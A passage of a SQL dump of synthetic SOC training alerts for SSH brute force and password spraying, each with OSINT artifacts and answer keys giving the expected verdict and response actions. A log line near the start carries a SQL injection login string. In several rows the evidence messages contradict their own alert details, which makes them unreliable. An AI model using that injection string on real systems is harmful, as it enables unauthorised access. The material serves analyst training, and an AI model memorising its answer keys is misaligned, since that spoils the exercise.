targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP has been associated with multiple brute force attacks, confirming this as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'TECH', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:57:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:56:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:55:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"},{\"timestamp\":\"2026-03-15T20:54:15.884Z\",\"source\":\"/var/log/nginx/access.log\",\"event_code\":\"403\",\"message\":\"GET /login.php?user=admin\' OR \'1\'=\'1 HTTP/1.1 - 403 Forbidden - IP: 203.0.113.55 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T02:45:10Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.45\\\",\\\"dst_ip\\\":\\\"192.168.1.100\\\",\\\"username\\\":\\\"jdoe\\\",\\\"hostname\\\":\\\"webportal01\\\",\\\"failed_attempts\\\":35}\"}],\"query\":\"index=main source=\\\"/var/log/nginx/access.log\\\" | head 100\"}}', 0),
(1653, 'SSH Brute Force Spike Detected', 'critical', 'Wazuh', 'A surge in SSH login attempts from an external IP address was detected targeting the server ssh01. Potential brute force attack in progress.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T04:30:22Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.22\",\"dst_ip\":\"10.0.0.5\",\"username\":\"admin\",\"hostname\":\"ssh01\",\"failed_attempts\":50}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.22\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1024 times for SSH brute force attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target SSH server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"admin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is flagged for numerous brute force activities, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'FINANCE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:57:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:56:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:55:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"},{\"timestamp\":\"2026-03-15T20:54:15.891Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T04:30:22Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.22\\\",\\\"dst_ip\\\":\\\"10.0.0.5\\\",\\\"username\\\":\\\"admin\\\",\\\"hostname\\\":\\\"ssh01\\\",\\\"failed_attempts\\\":50}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1654, 'Failed Login Attempts from Known Malicious IP', 'medium', 'Azure Sentinel', 'Several failed login attempts detected from a suspicious IP address against the internal authentication server.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T06:15:45Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"192.168.1.200\",\"username\":\"m.smith\",\"hostname\":\"authserver01\",\"failed_attempts\":30}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP flagged for multiple unauthorized login attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.200\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Analysis\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the authentication server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"m.smith\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is known for malicious activities, confirming the attack attempt.\"}', 'Beginner', 'SIEM', 3, 1, 'HEALTHCARE', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:57:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:56:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:55:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"},{\"timestamp\":\"2026-03-15T20:54:15.894Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T06:15:45Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.50\\\",\\\"dst_ip\\\":\\\"192.168.1.200\\\",\\\"username\\\":\\\"m.smith\\\",\\\"hostname\\\":\\\"authserver01\\\",\\\"failed_attempts\\\":30}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1655, 'Potential Password Spraying Detected', 'high', 'Elastic SIEM', 'A high number of failed login attempts from a single external IP address was detected. Possible password spraying attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T08:47:30Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.75\",\"dst_ip\":\"192.168.1.150\",\"username\":\"e.turner\",\"hostname\":\"intranet01\",\"failed_attempts\":40}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with password spraying activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.150\",\"is_critical\":false,\"osint_result\":{\"source\":\"Network Mapping\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the target machine\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"e.turner\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The foreign IP has been flagged for password spraying, confirming this as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'RETAIL', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"},{\"timestamp\":\"2026-03-15T20:57:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"},{\"timestamp\":\"2026-03-15T20:56:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"},{\"timestamp\":\"2026-03-15T20:55:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"},{\"timestamp\":\"2026-03-15T20:54:15.897Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T08:47:30Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.75\\\",\\\"dst_ip\\\":\\\"192.168.1.150\\\",\\\"username\\\":\\\"e.turner\\\",\\\"hostname\\\":\\\"intranet01\\\",\\\"failed_attempts\\\":40}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1656, 'Unusual SSH Login Activity Detected', 'medium', 'Wazuh', 'Detected a spike in SSH login attempts from an IP address known for suspicious activities.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T10:00:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.51\",\"dst_ip\":\"10.0.0.10\",\"username\":\"root\",\"hostname\":\"sshserver02\",\"failed_attempts\":45}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.51\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP known for SSH brute force attempts reported 300 times\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.0.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network Logs\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the SSH server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"root\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is flagged for numerous brute force activities, confirming the attack.\"}', 'Beginner', 'SIEM', 3, 1, 'ENERGY', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:57:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:56:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:55:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"},{\"timestamp\":\"2026-03-15T20:54:15.898Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T10:00:00Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"198.51.100.51\\\",\\\"dst_ip\\\":\\\"10.0.0.10\\\",\\\"username\\\":\\\"root\\\",\\\"hostname\\\":\\\"sshserver02\\\",\\\"failed_attempts\\\":45}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1657, 'Failed Password Spraying Attempt', 'medium', 'Splunk', 'A series of failed login attempts from an external IP address, indicating a potential password spraying attack.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T12:25:15Z\",\"event_type\":\"login_failure\",\"src_ip\":\"203.0.113.101\",\"dst_ip\":\"192.168.1.250\",\"username\":\"c.jones\",\"hostname\":\"authgateway01\",\"failed_attempts\":20}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.101\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple credential stuffing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.250\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal IT\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the authentication gateway\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"c.jones\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Directory\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"close_alert\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP address is associated with known credential attacks, validating the alert.\"}', 'Beginner', 'SIEM', 3, 1, 'GOVERNMENT', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-15T20:57:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-15T20:56:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-15T20:55:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"},{\"timestamp\":\"2026-03-15T20:54:15.904Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2026-03-15T12:25:15Z\\\",\\\"event_type\\\":\\\"login_failure\\\",\\\"src_ip\\\":\\\"203.0.113.101\\\",\\\"dst_ip\\\":\\\"192.168.1.250\\\",\\\"username\\\":\\\"c.jones\\\",\\\"hostname\\\":\\\"authgateway01\\\",\\\"failed_attempts\\\":20}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0),
(1658, 'Suspicious SSH Login Attempts', 'critical', 'Azure Sentinel', 'Numerous failed SSH login attempts detected from a foreign IP address targeting internal servers.', 'Brute Force', 'T1110', 1, 'New', NULL, '{\"timestamp\":\"2026-03-15T14:12:00Z\",\"event_type\":\"login_failure\",\"src_ip\":\"198.51.100.75\",\"dst_ip\":\"10.0.1.20\",\"username\":\"sysadmin\",\"hostname\":\"datacenter01\",\"failed_attempts\":50}', '2026-03-15 19:37:47', '2026-03-15 20:58:15', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.75\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 500 times for suspicious SSH activities\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Systems\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the data center server\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"sysadmin\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"internal\",\"details\":\"User account targeted in the attack\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The IP is flagged for suspicious SSH activities, confirming it as a true positive.\"}', 'Beginner', 'SIEM', 3, 1, 'OT_ICS', NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-03-15T20:58:15.915Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 